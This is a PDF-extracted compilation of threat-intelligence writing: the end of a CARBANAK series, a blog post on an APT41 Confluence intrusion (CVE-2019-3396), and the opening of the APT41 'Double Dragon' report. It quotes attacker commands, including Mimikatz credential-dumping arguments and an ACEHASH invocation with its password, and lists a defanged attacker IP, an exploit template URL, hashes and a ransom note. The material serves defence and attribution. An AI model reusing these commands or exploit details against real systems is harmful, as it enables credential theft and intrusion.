perform a dry run and ensure +that unanticipated issues do not jeopardize the access that was gained. +The person being monitored via CARBANAK in this video appears to be a network operator +preparing for attack. This could either be because the operator was testing CARBANAK, or +because they were being monitored. The CARBANAK builder and other interfaces are never +shown, and the operator is seen preparing several publicly available tools and tactics. While +purely speculation, it is possible that this was an employee of the front company Combi +Security which we now know was operated by FIN7 to recruit potentially unwitting +operators. Furthermore, it could be the case that FIN7 used CARBANAK +s tinymet command +to spawn Meterpreter instances and give unwitting operators access to targets using +publicly available tools under the false premise of a penetration test. +Conclusion +This final installment concludes our four-part series, lovingly dubbed CARBANAK Week. To +recap, we have shared at length many details concerning our experience as reverse +engineers who, after spending dozens of hours reverse engineering a large, complex family +of malware, happened upon the source code and toolset for the malware. This is something +that rarely ever happens! +We hope this week +s lengthy addendum to FireEye +s continued CARBANAK research has +been interesting and helpful to the broader security community in examining the +functionalities of the framework and some of the design considerations that went into its +development. +So far we have received lots of positive feedback about our discovery of the source code +and our recent expos + of the CARBANAK ecosystem. It is worth highlighting that much of +what we discussed in CARBANAK Week was originally covered in our FireEye +s Cyber Defense +Summit 2018 presentation titled +Hello, Carbanak! +, which is freely available to +watch online (a must-see for malware and lederhosen enthusiasts alike). You can expect +similar topics and an electrifying array of other malware analysis, incident response, +forensic investigation and threat intelligence discussions at FireEye +s upcoming Cyber +Defense Summit 2019, held Oct. 7 to Oct. 10, 2019, in Washington, D.C. +GAME OVER: Detecting and Stopping an APT41 Operation +fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html +In August 2019, FireEye released the +Double Dragon + report on our newest graduated +threat group, APT41. A China-nexus dual espionage and financially-focused group, APT41 +targets industries such as gaming, healthcare, high-tech, higher education, +telecommunications, and travel services. APT41 is known to adapt quickly to changes and +detections within victim environments, often recompiling malware within hours of incident +responder activity. In multiple situations, we also identified APT41 utilizing recentlydisclosed vulnerabilities, often weaponzing and exploiting within a matter of days. +Our knowledge of this group +s targets and activities are rooted in our Incident Response and +Managed Defense services, where we encounter actors like APT41 on a regular basis. At +each encounter, FireEye works to reverse malware, collect intelligence and hone our +detection capabilities. This ultimately feeds back into our Managed Defense and Incident +Response teams detecting and stopping threat actors earlier in their campaigns. +In this blog post, we +re going to examine a recent instance where FireEye Managed Defense +came toe-to-toe with APT41. Our goal is to display not only how dynamic this group can be, +but also how the various teams within FireEye worked to thwart attacks within hours of +detection + protecting our clients + networks and limiting the threat actor +s ability to gain a +foothold and/or prevent data exposure. +GET TO DA CHOPPA! +In April 2019, FireEye +s Managed Defense team identified suspicious activity on a publiclyaccessible web server at a U.S.-based research university. This activity, a snippet of which is +provided in Figure 1, indicated that the attackers were exploiting CVE-2019-3396, a +vulnerability in Atlassian Confluence Server that allowed for path traversal and remote code +execution. +Figure 1: Snippet of PCAP showing attacker attempting CVE-2019-3396 vulnerability +This vulnerability relies on the following actions by the attacker: +Customizing the _template field to utilize a template that allowed for command +execution. +Inserting a cmd field that provided the command to be executed. +Through custom JSON POST requests, the attackers were able to run commands and force +the vulnerable system to download an additional file. Figure 2 provides a list of the JSON +data sent by the attacker. +Figure 2: Snippet of HTTP POST requests exploiting CVE-2019-3396 +As shown in Figure 2, the attacker utilized a template located at +hxxps[:]//github[.]com/Yt1g3r/CVE-2019-3396_EXP/blob/master/cmd.vm. This publiclyavailable template provided a vehicle for the attacker to issue arbitrary commands against +the vulnerable system. Figure 3 provides the code of the file cmd.vm. +Figure 3: Code of cmd.vm, used by the attackers to execute code on a vulnerable +Confluence system +The HTTP POST requests in Figure 2, which originated from the IP address 67.229.97[.]229, +performed system reconnaissance and utilized Windows certutil.exe to download a file +located at hxxp[:]//67.229.97[.]229/pass_sqzr.jsp and save it as test.jsp (MD5: +84d6e4ba1f4268e50810dacc7bbc3935). The file test.jsp was ultimately identified to be a +variant of a China Chopper webshell. +A Passive Aggressive Operation +Shortly after placing test.jsp on the vulnerable system, the attackers downloaded two +additional files onto the system: +64.dat (MD5: 51e06382a88eb09639e1bc3565b444a6) +Ins64.exe (MD5: e42555b218248d1a2ba92c1532ef6786) +Both files were hosted at the same IP address utilized by the attacker, 67[.]229[.]97[.]229. +The file Ins64.exe was used to deploy the HIGHNOON backdoor on the system. HIGHNOON +is a backdoor that consists of multiple components, including a loader, dynamic-link library +(DLL), and a rootkit. When loaded, the DLL may deploy one of two embedded drivers to +conceal network traffic and communicate with its command and control server to download +and launch memory-resident DLL plugins. This particular variant of HIGHNOON is tracked as +HIGHNOON.PASSIVE by FireEye. (An exploration of passive backdoors and more analysis of +the HIGHNOON malware family can be found in our full APT41 report). +Within the next 35 minutes, the attackers utilized both the test.jsp web shell and the +HIGHNOON backdoor to issue commands to the system. As China Chopper relies on HTTP +requests, attacker traffic to and from this web shell was easily observed via network +monitoring. The attacker utilized China Chopper to perform the following: +Movement of 64.dat and Ins64.exe to C:\Program Files\Atlassian\Confluence +Performing a directory listing of C:\Program Files\Atlassian\Confluence +Performing a directory listing of C:\Users +Additionally, FireEye +s FLARE team reverse engineered the custom protocol utilized by the +HIGHNOON backdoor, allowing us to decode the attacker +s traffic. Figure 4 provides a list of +the various commands issued by the attacker utilizing HIGHNOON. +Figure 4: Decoded HIGHNOON commands issued by the attacker +Playing Their ACEHASH Card +As shown in Figure 4, the attacker utilized the HIGHNOON backdoor to execute a +PowerShell command that downloaded a script from PowerSploit, a well-known PowerShell +Post-Exploitation Framework. At the time of this blog post, the script was no longer available +for downloading. The commands provided to the script +privilege::debug +sekurlsa::logonpasswords exit exit + indicate that the unrecovered script was likely a copy +of Invoke-Mimikatz, reflectively loading Mimikatz 2.0 in-memory. Per the observed +HIGHNOON output, this command failed. +After performing some additional reconnaissance, the attacker utilized HIGHNOON to +download two additional files into the C:\Program Files\Atlassian\Confluence directory: +c64.exe (MD5: 846cdb921841ac671c86350d494abf9c) +F64.data (MD5: a919b4454679ef60b39c82bd686ed141) +These two files are the dropper and encrypted/compressed payload components, +respectively, of a malware family known as ACEHASH. ACEHASH is a credential theft and +password dumping utility that combines the functionality of multiple tools such as +Mimikatz, hashdump, and Windows Credential Editor (WCE). +Upon placing c64.exe and F64.data on the system, the attacker ran the command +c64.exe f64.data "9839D7F1A0 -m +This specific command provided a password of +9839D7F1A0 + to decrypt the contents of +F64.data, and a switch of +, indicating the attacker wanted to replicate the functionality +of Mimikatz. With the correct password provided, c64.exe loaded the decrypted and +decompressed shellcode into memory and harvested credentials. +Ultimately, the attacker was able to exploit a vulnerability, execute code, and download +custom malware on the vulnerable Confluence system. While Mimikatz failed, via ACEHASH +they were able to harvest a single credential from the system. However, as Managed +Defense detected this activity rapidly via network signatures, this operation was neutralized +before the attackers progressed any further. +Key Takeaways From This Incident +APT41 utilized multiple malware families to maintain access into this environment; +impactful remediation requires full scoping of an incident. +For effective Managed Detection & Response services, having coverage of both +Endpoint and Network is critical for detecting and responding to targeted attacks. +Attackers may weaponize vulnerabilities quickly after their release, especially if they +are present within a targeted environment. Patching of critical vulnerabilities ASAP is +crucial to deter active attackers. +Detecting the Techniques +FireEye detects this activity across our platform, including detection for certutil usage, +HIGHNOON, and China Chopper. +Detection +Signature Name +China Chopper +FE_Webshell_JSP_CHOPPER_1 +FE_Webshell_Java_CHOPPER_1 +FE_Webshell_MSIL_CHOPPER_1 +HIGHNOON.PASSIVE +FE_APT_Backdoor_Raw64_HIGHNOON_2 +FE_APT_Backdoor_Win64_HIGHNOON_2 +Certutil Downloader +CERTUTIL.EXE DOWNLOADER (UTILITY) +CERTUTIL.EXE DOWNLOADER A (UTILITY) +ACEHASH +FE_Trojan_AceHash +Indicators +Type +Indicator +MD5 Hash (if applicable) +File +test.jsp +84d6e4ba1f4268e50810dacc7bbc3935 +File +64.dat +51e06382a88eb09639e1bc3565b444a6 +File +Ins64.exe +e42555b218248d1a2ba92c1532ef6786 +File +c64.exe +846cdb921841ac671c86350d494abf9c +File +F64.data +a919b4454679ef60b39c82bd686ed141 +IP Address +67.229.97[.]229 +Looking for more? Join us for a webcast on August 29, 2019 where we detail more of APT41 +activities. You can also find a direct link to the public APT41 report here. +Acknowledgements +Special thanks to Dan Perez, Andrew Thompson, Tyler Dean, Raymond Leong, and Willi +Ballenthin for identification and reversing of the HIGHNOON.PASSIVE malware. +APT41 +Double Dragon +APT41, a dual espionage and +cyber crime operation +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +SPECIAL REPORT | APT40 +Table of Contents +Overview...........................................................................................4 +Links to Other Known Chinese Espionage +Operators....................................................................................... 34 +Targeting...........................................................................................6 +Certificate Overlap............................................................. 35 +Launcher Overlap............................................................... 36 +Operations Over Time.................................................................8 +Code Family Overlap......................................................... 36 +Cyber Espionage Activity........................................................ 10 +Use of Code-Signing Certificates........................................ 39 +Case Study: Healthcare Sector Targeting...................12 +Outlook and Implications........................................................ 41 +Financially Motivated Activity.............................................. 14 +Case Study: Video Game Industry Targeting.............17 +Technical Annex: Attack Lifecycle...................................... 42 +Initial Compromise............................................................. 43 +Third-Party Access.................................................................... 20 +Establish Foothold............................................................. 44 +Escalate Privileges............................................................. 45 +History of Supply Chain Compromises...............................21 +December 2014....................................................................22 +March 2017.............................................................................23 +July 2017................................................................................. 24 +June 2018................................................................................25 +July 2018................................................................................ 26 +Overlaps Between Espionage and Financial +Internal Reconnaissance.................................................. 45 +Lateral Movement............................................................... 46 +Maintain Presence.............................................................. 47 +Complete Mission............................................................... 48 +Technical Annex: MITRE ATT&CK Mapping..................... 49 +Operations.....................................................................................27 +Technical Annex: Code-Signing Certificates Used by +APT41................................................................................................51 +Attribution.................................................................................... 30 +Technical Annex: Additional Malware Overlaps............52 +Background............................................................................52 +Status as Potential Contractors........................................... 33 +HIGHNOON............................................................................52 +HIGHNOON.BIN and HIGHNOON.LITE........................52 +HIGHNOON.LINUX and HIGHNOON........................... 54 +CROSSWALK and CROSSWALK.BIN.......................... 54 +Technical Annex: Malware Used by APT41......................60 +Technical Annex: APT41 IOCs............................................... 63 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Executive Summary +FireEye Threat Intelligence assesses with high confidence that APT41 is a Chinese +state-sponsored espionage group that is also conducting financially motivated activity for +personal gain. +APT41 espionage operations against the healthcare, high-tech, and telecommunications +sectors include establishing and maintaining strategic access, and through mid-2015, the +theft of intellectual property. +The group's operations against higher education, travel services, and news/media firms +provide some indication that the group also tracks individuals and conducts surveillance. +FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array +of financially motivated intrusions, particularly against the video game industry, including +stealing source code and digital certificates, virtual currency manipulation, and attempting +to deploy ransomware. +APT41 has executed multiple software supply chain compromises, gaining access to +software companies to inject malicious code into legitimate files before distributing updates. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Overview +FireEye Threat Intelligence assesses with high confidence that APT41 is +a prolific cyber threat group that carries out Chinese state-sponsored +espionage activity in addition to financially motivated activity potentially +outside of state control. Activity traces back to 2012 when individual +members of APT41 conducted primarily financially motivated operations +focused on the video game industry before expanding into likely statesponsored activity. This is remarkable because explicit financially motivated +targeting is unusual among Chinese state-sponsored threat groups, and +evidence suggests these two motivations were balanced concurrently from +2014 onward. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION + APT41 is unique among tracked China-based actors in +that it leverages non-public malware typically reserved +for espionage operations in what appears to be activity +that falls outside the scope of state-sponsored missions. + Based on early observed activity, consistent behavior, +and APT41's unusual focus on the video game industry, +we believe the group's cyber crime activities are most +likely motivated by personal financial gain or hobbyist +interests. +This contrasts with the state-sponsored goals that likely +drive the group's healthcare, high-tech, and politically +related targeting. + We believe that APT41 is highly sophisticated and +innovative. Its history of financially motivated targeting +of the video game industry has ultimately supported the +group's state-sponsored activity. + The group's distinct use of supply chain compromises to +target select individuals, consistent use of compromised +digital certificates, and deployment of bootkits (rare +among APT operators), highlight a creative and wellresourced adversary. + Some of the early operations driven by personal gain +used techniques that would later be pivotal in executing +supply chain compromises. + Learning to access video game production environments +enabled APT41 to develop the tactics, techniques, and +procedures (TTPs) that were later leveraged against +software companies to inject malicious code into +software updates. +APT41 campaigns include most of the incidents previously +attributed in FireEye Threat Intelligence reporting to +GREF Team and a number of additional clusters that were +previously unnamed. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Targeting +Like other Chinese espionage operators, APT41 targets +industries in a manner generally aligned with China's +Five-Year economic development plans. However, some +campaigns attributed to APT41 indicate that the group is +also deployed to gather intelligence ahead of imminent +events, such as mergers and acquisitions (M&A) and +political events. Directly targeted verticals include: + Healthcare: including medical devices and diagnostics + High-tech: including semiconductors, advanced +computer hardware, battery technology, and electric +vehicles + Media: including news organizations + Pharmaceuticals + Retail + Software companies: which were compromised in +supply chain operations potentially affecting large +numbers of victims + Telecoms + Travel services + Education + Video games: including development studios, +distributors/publishers, and activities enabling supply +chain compromises + Virtual currencies: including in-game currencies, +cryptocurrencies, and related services +APT41 has targeted organizations in 14 countries (and +Hong Kong) over seven years, including: France, India, +Italy, Japan, Myanmar, the Netherlands, Singapore, South +Korea, South Africa, Switzerland, Thailand, Turkey, the +United Kingdom, and the United States (Figure 1). APT41 +espionage operations against entities in these countries +follow targeting of verticals consistent with Chinese +national policy priorities. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 1: +Countries and +industries targeted +directly by APT41. +Industries Targeted +Automotive +Financial +Pharmaceuticals +Business Services +Healthcare +Retail +Cryptocurrency +High-Tech +Telecommunications +Education +Intergovernmental +Travel +Energy +Media and Entertainment +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Operations Over Time +The duality of APT41's state-sponsored activity and its own cyber crime +operations is demonstrated in the group's simultaneous operations. Throughout +the group +s observable history, APT41 has consistently run its own financially +motivated campaigns concurrently with espionage operations. In contrast, +APT41 espionage targeting has changed significantly over time, suggesting +shifts in assigned missions or new contracts to complete. A breakdown of +industries targeted by APT41 over time can be found in Figure 2. + We believe that like other Chinese espionage operators, APT41 has moved +toward strategic intelligence collection and establishing access, but away from +direct intellectual property theft. This shift, however, has not affected the group's +consistent interest in targeting the video game industry for financially motivated +reasons. + We have not observed evidence of IP theft since late 2015. + In 2014, APT41 was observed carrying out espionage campaigns +concurrently with financially motivated intrusions, demonstrating that they +could balance different objectives simultaneously. + Espionage operations occurred while the group was still carrying out +financially motivated campaigns, including longer-term intrusions, which +typically extended for more than a year. + In one instance, APT41 was attempting to steal data from a healthcare target +while also attempting to deploy ransomware at a video game studio. + Compromising organizations in different sectors concurrently provides some +indication that they are fulfilling specific assigned tasks. + Campaigns have expanded into additional industries including telecoms, +the automotive sector, higher education, and travel services. + In 2015, we observed a time period in which eight organizations in six +different industries were compromised simultaneously. + Since 2017, APT41's activities have included a series of supply chain +compromises. The operation injects malware into legitimate server software +packages used by hundreds of companies worldwide but limits deployment +of additional payloads to select targets. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 2: Timeline +of industries +targeted by APT41. +INDUSTRIES TARGETED BY APT 41 +2012 +Video Game +2013 +2014 +2015 +2016 +2017 +2018 +2019 +Video Game +Video Game +Video Game +Video Game +Retail +Video Game +Education +Video Game +Related +Video Game +Related +Video Game +Related +Video Game +Related +Telecom +Telecom +Telecom +Hi-Tech +Hi-Tech +Hi-Tech +Hi-Tech +Hi-Tech +Finance +Hi-Tech +Intergovernmental +Media +Media +Media +Travel +Healthcare +Healthcare +Healthcare +Automotive +Healthcare +Pharmaceutical +Energy +Software +Software +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Cyber Espionage Activity +Observed APT41 targeting is consistent with China's +national strategies to move production capabilities +upmarket into research and development (R&D)-heavy +fields. These initiatives were especially highlighted with +"Made in China 2025," a plan announced in 2015 that aims +to shift China's economy toward higher value products +and services, including pharmaceuticals, semiconductors, +and other high-tech industries. + We assess that the targeting of high-tech firms that +produce computer components aligns with Chinese +interests in domestically developing high-end +technologies as outlined in the 12th (2011) and 13th +(2016) Five-Year plans, as well as the Made in China +2025 (2015) initiative. + Since 2013, APT41 has targeted organizations involved +in the research, development, and sale of computer +components used for machine-learning, autonomous +vehicles, medical imaging, and the consumer market. +The group also targeted companies involved in +producing motherboards, processors, and server +solutions for enterprises. + In April 2013, the group targeted an enterprise +cloud-computing provider. Developing domestic +cloud-computing technologies was a goal in the 12th +Five-Year Plan. + In a 2014 compromise, APT41 targeted a European +conglomerate and specifically focused on systems +physically located in China. + The timing of multiple intrusions attributed to the group +indicate a focused interest in strategic business decisions, +including entry into the Chinese market, partnerships/ +M&A, and expansion into other regional markets. + In October 2017, an intrusion into a retailer targeted +strategic investment plans at the same time as the +firm was beginning to negotiate a partnership with a +Chinese company (although this potential deal was +not publicized). + In spring 2015, APT41 targeted information related +to two entities undergoing a merger announced the +previous year. This included data related to a senior +executive, as well as payroll and communications +integration issues. + Since 2017, APT41 has consistently targeted +telecommunications companies, possibly a crucial first +step to establish a foothold in targeting a particular region. + Targeted telecom companies spanned several +countries, and recently identified intrusions were +concentrated in countries where we had not identified +any prior APT41 activity. + APT41 has targeted large telecom companies and +their subsidiaries in various locations, demonstrating +consistent interest in obtaining access to these +targets. + The group has also repeatedly targeted call record +information at telecom companies, supporting +indications of their wider intelligence collection efforts. +In addition to specifically targeting industries of +strategic value, we suggest that APT41 is also given +more tactical assignments, including reconnaissance and +identifying dissidents. + A hotel was targeted two weeks ahead of a diplomatic +visit in which high-ranking Chinese officials stayed +there. Personal data within the reservations system was +directly accessed, suggesting the group was potentially +tasked to reconnoiter the facility. + We assess with moderate confidence that APT41 +gathered intelligence on pro-democracy dissidents +in Hong Kong based on the targets and timing of +operations. + In July and August 2016, APT41 sent spear-phishing +emails to Hong Kong media organizations known for +pro-democracy editorial content. + The timing and targeting of this activity suggests +possible interest in the pro-democracy Umbrella +Movement candidates who were running for seats in +Hong Kong's legislative council. + A spear-phishing email with the subject-line "help" +was later sent to one of the previously targeted +organizations in October 2017, coinciding with the +sentencing of pro-democracy Occupy activists. The +ruling placed a five-year ban on the activists from +holding public offices in Hong Kong. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION + This was the first instance we have observed of APT41 +targeting pro-democracy groups in Hong Kong. +APT41 frequently leverages timely news stories as the +lure content in their spear-phishing emails, although +social engineering content does not always correlate with +targeted users or organizations. + In 2015, APT41 targeted a Japanese media organization +with a lure document (Figure 3) titled +(MERS) + which translates to "Prevention of +Middle East Respiratory Syndrome (MERS)." The fear of +respiratory infections and a potential pandemic provide +particularly effective lure material against targets in the +Asia-Pacific region that had first-hand experience with +prior SARS and avian flu outbreaks. +Figure 3: +MERS-themed lure document leveraging +for C&C (MD5: 5e87b09f9a3f1b728c9797560a38764b). +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +CASE STUDY +Healthcare Sector Targeting +APT41 activity aimed at medical device companies +and pharmaceuticals is demonstrative of the group's +capacity to collect sensitive and highly valuable +intellectual property (IP), although we have not observed +evidence of IP theft since late 2015. The healthcare +sector was targeted in a manner that is highly specific +and most likely indicative of focused taskings from +sponsoring organizations with a stake in the healthcare +market. Targeted information included pharmaceutical +development, clinical trial data, and intelligence +regarding a medical subsidiary's parent company. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +The targeting of these organizations just ahead of the +release of products requiring a long R&D cycle can confer +a significant market advantage to a competitor. The +observed activities are indicative of ongoing efforts to +support China's own R&D efforts in support of Made in +China 2025. + Between July 2014 and May 2016, APT41 targeted a +medical devices subsidiary of a large corporation. + Although APT41 initially targeted the parent company, +30 percent of the victimized hosts were related to +a subsidiary specialized in manufacturing medical +devices. Password strings and spoofed domains +leveraged in the operation signify a narrow tasking +to target the subsidiary instead of the parent +corporation. + We have some indication based on the nature of hosts +targeted that APT41 was interested in information +technology employees and software used by the +medical device subsidiary. + A keylogger dubbed GEARSHIFT was first deployed at +the medical device company. A digital certificate from +the victim was compromised and used to sign malware +used in an operation against a separate biotech +company detailed below. + A biotech company undergoing acquisition was +targeted by APT41 in May 2015. Highly sensitive +information about corporate operations, including +human resources data, tax information, and acquisitionrelated documents, were targeted. + Clinical trials data of developed drugs, academic data, +and R&D funding-related documents were exfiltrated. + The time frame, use of the same GEARSHIFT sample, +and a digital certificate from the aforementioned +medical device company provide some indication that +these two campaigns were conducted by the same +operator concurrently. + In 2018, we observed APT41 target a third healthcare +company, although their goals during this compromise +were unclear. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Financially Motivated Activity +Unlike other observed Chinese espionage operators, APT41 conducts explicit +financially motivated activity, which has included the use of tools that are +otherwise exclusively used in campaigns supporting state interests. The latenight to early morning activity of APT41's financially motivated operations +suggests that the group primarily conducts these activities outside of their +normal day jobs. However, the group compiled malware for use in cyber crime +activity even during espionage-focused working hours. + As demonstrated in Figure 4, operational times for APT41 espionage +operations over all observed activity are relatively close to Chinese work hours +(in UTC +8, China's time zone). + In contrast, the group's financially motivated activity targeting the video game +industry tends to occur much later in the night. +Operational times at gaming targets are most frequent between 18:00 and +07:00 (UTC +8), providing some indication that the group is moonlighting. Note +that this is based on data collected over years and does not represent a daily +schedule. + The typical working hours in China for tech workers is a "996" work schedule +(9:00 a.m. to 9:00 p.m., six days a week), which is consistent with APT41's +operational activity observed over time. + Operational times at targets not related to video games (and therefore, almost +certainly in support of state-sanctioned missions) are more frequent between +14:00 and 22:00 (China Standard Time (CST), UTC +8), closer to conventional +working hours (Figure 4). + Analysis of compile times for all portable executable (PE) files suggests that +APT41's average working hours fall between 10:00 to 23:00 (UTC +8), +highlighting that the financially motivated activity is most likely extraneous +to their espionage operations. + Compile times for samples used in suspected financial gain missions are skewed +toward later in the evening, roughly 19:00 to 00:00 (UTC +8). However, there +is significant overlap with the compile times of PE files deployed at espionage +targets between 15:00 to 19:00 (UTC +8). +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +APT41 Operational Times UTC +8 +Figure 4: +Operational +activity for gaming +versus nongaming-related +targeting based +on observed +operations since +2012. +Operational Times at +Gaming Targets +Operational Times at +Non-Gaming Targets +The group has also targeted cryptocurrencies, including at +least one case in which there was a connection between +cryptocurrency and an online video gaming platform. + In June 2018, APT41 sent spear-phishing emails using an +invitation lure to join a decentralized gaming platform +linked to a cryptocurrency service (Figure 5) that had +positioned itself as a medium of exchange for online +games and gambling sites. The malicious emails were +sent from an email address listed with the name Tom +Giardino, which is likely a reference to an employee at +Valve, an American video game developer responsible +for the software distribution platform Steam and +various video games. The body of the email (Figure 6) +also mentions gaming offerings. This provides another +connection between the targeting of the cryptocurrency +organizations and video game targeting. + In October 2018, the group compiled an instance +of XMRig, a Monero cryptocurrency mining tool, +demonstrating a continued interest in cryptocurrency. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 5: +Screenshot of +invitation to join +the FairWin online +gaming platform. +Figure 6: +English translation +of invitation to join +the FairWin online +gaming platform. +From: Tom Giardino < +Date: +Subject: Project (FairWin) online application! +Project Introduction: +FairWin is a decentralized online gaming platform. +Be sure to win fairness because our special FairChannel guarantees accurate RTP rates. +The system is based on a blockchain, which means that the gameplay process is open. The +payment of the bonus is automatic. Not dependent on the organizer. In addition to this, we +also offer fun generous games with fascinating graphics. It can be run on any device and any +browser so that all players can enjoy these experiences. +Please refer to the attachment for other details! +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +CASE STUDY +Video Game Industry Targeting +APT41 continuously returns to targeting the video game +sector and seems to have matured its campaigns through +lessons learned in operations against the industry. We +believe these operations include broadly malicious +activity that can enable further operations, such as +targeting game source code and compromising digital +certificates, while other activities are explicitly financially +motivated, such as abusing in-game currency mechanics. +APT41 campaigns focused on the video game sector +have largely affected studios and distributors in East and +Southeast Asia, although global companies based in the +United States have also been targeted. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +The group leverages many TTPs during the targeting +of video game-related organizations, which are likewise +employed in their espionage operations. + Since at least 2012, APT41 has repeatedly gained access +to game development environments within affected +companies, including online multiplayer networks, as +well as targeting of production database administrators. + The group is competent in both Linux and Windows +environments and can pivot easily between +both environments within a single operation, +including compromising intermediary servers that +provide access to separated Windows and Linux +environments. + In October 2012, APT41 used captured credentials to +compromise a jump server and access a production +environment where they deployed a Linux version of +PHOTO. Based on the machines targeted, we have +some indication that APT41 specifically sought to +access production machines used in the development +of an upcoming online game. + In 2014, APT41 used a variant of SOGU that is capable +of connecting to Windows and Linux systems via SSH +and Samba/CIFS. + APT41 has been observed inserting malicious code +into legitimate video game files to distribute malware. +In 2018, the group inserted CRACKSHOT malware into +game files that were signed with legitimate codesigning certificates, most likely indicating access +to the production environment, which facilitated a +supply chain compromise. + A highly similar incident in 2014 suggests that +APT41 (or a closely affiliated actor) has a history +of carrying out such operations against the video +game industry. + APT41's experience gaining access to production +environments may have been a precursor to more +recent supply chain compromises. The insertion of +malware into a build environment for later distribution +with legitimate software is a natural extension of +the group's earliest activities. Additional details are +provided in the section "History of Supply Chain +Compromises." + We have also observed APT41 limitedly deploy rootkits +on Linux systems and Master Boot Record (MBR) +bootkits, such as ROCKBOOT, on Windows systems to +hide their malware and maintain persistence on victim +systems. Selective deployment of ROCKBOOT suggests +that APT41 reserves more advanced TTPs and malware +only for high-value targets. + Bootkits are a stealthy means of installing malware +because the code resides outside of the OS. Because +bootkits are initialized prior to the OS and operate in +kernel mode, OS applications and security tools may +have great difficulty detecting bootkits. + The use of bootkits among threat actors, however, +is rare. It is more common for threat actors to rely +on techniques such as DLL search order hijacking +or modifying Windows registry keys to achieve +persistence. + The group used the Adore-NG rootkit on older Linux +operating systems to hide their Linux backdoor +ADORE.XSEC. Note that the Adore-ng rootkit is +no longer in development and would likely not run +successfully on modern Linux systems, but APT41 +deployed this on a legacy game server. +APT41 is well-known for leveraging compromised digital +certificates from video game studios to sign malware. The +group has abused at least 19 different certificates in this +way. Additional details on code-signing certificates are +provided in the section "Use of Code Signing Certificates." + In 2012, APT41 used a code-signing certificate from +Mgame, a South Korean game publisher, against other +gaming industry entities. The serial number for this +certificate was: +01:00:00:00:00:01:30:73:85:f7:02 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION + A different Mgame digital certificate has been used +by several other Chinese operators, including APT17, +APT20, and APT31. It is unclear if this certificate +was compromised at the same time as the one used +by APT41 (or if it was stolen by APT41 and shared +with these other groups). The serial number for this +certificate was: +4e:eb:08:05:55:f1:ab:f7:09:bb:a9:ca:e3:2f:13:cd +APT41 has blatantly engaged in financially motivated +activity targeting the video game industry, including +manipulating virtual currencies. These activities +demonstrate established connections to underground +marketplaces and familiarity with monetization and +laundering techniques. + Using its access to a game production environment, in +less than three hours the group generated tens of millions +of dollars of a popular game's virtual currency. The +money was credited to more than 1,000 accounts and +most likely sold and laundered in underground markets. + APT41 has targeted payment services specializing in +handling in-game transactions and real money transfer +(RMT) purchases. + In a highly unusual case, APT41 attempted to extort +a game company by deploying the Encryptor RaaS +Figure 7: +Screenshot of +ransomware note. +ransomware. We suggest that APT41 sought to target +in-game currency but found they could not monetize +the specific targeted game, so the group resorted to +ransomware to attempt to salvage their efforts and +profit from the compromise. + This ransomware was sold via a Ransomware-asa-Service (RaaS) operation that was available via a +Tor (.onion) website. Users of the ransomware were +charged a 20 percent fee for any collected ransom. + Since this was not the group's typical method +of choice for collecting money from a victim +environment, it is possible that APT41 turned to a payfor-service ransomware to avoid having to develop +such a tool or set up the associated payment and +infrastructure associated with collecting the ransom. + APT41 attempted to deploy the ransomware through +a group policy (GPO) scheduled task. However, the +malware was unsuccessfully deployed because of a +simple typo. + Figure 7 shows the ransom note associated with +Encryptor RaaS, which contains default messages in +both English and German (the instruction links have +been redacted). Given that this is the default message, +the languages in the note should not be considered +when determining actor origin or location. +ATTENTION! +The files on your computer have been securely encrypted. +To get access to your files again, follow the instructions at: +ACHTUNG! +Die Dateien auf Ihrem Computer wurden ischer verschluesselt. +Um den Zugriff auf Ihre Dateien wiederzuerlangen, folgen Sie der Anleitung auf: +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Third-Party Access +In multiple instances, APT41 targeted third parties and leveraged this access to +target additional victims. APT41's exploitation of third parties varied. In some +instances, APT41 moved laterally from one victim environment to another in +order to initiate compromise. APT41 has also used credentials compromised in +previous operations. + In 2014, APT41 compromised an online billing/payment service using VPN +access between a third-party service provider and the targeted payment +service. The payment service was likely targeted because it provided access +to multiple gaming companies. + Although we do not have first-hand evidence of APT41's compromise of +TeamViewer, we have observed APT41 use compromised TeamViewer +credentials as an entry point at multiple organizations. + During a 2017 compromise, APT41 initiated a TeamViewer session and +transferred files that were later deleted. Filenames and creation times +indicate that these may have been the HIGHNOON backdoor. + According to statements by a TeamViewer's spokesperson, the company +was targeted in fall 2016. The company stated that they conducted a +comprehensive security audit of its IT architecture and added additional +security measures to help strengthen its security posture. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME 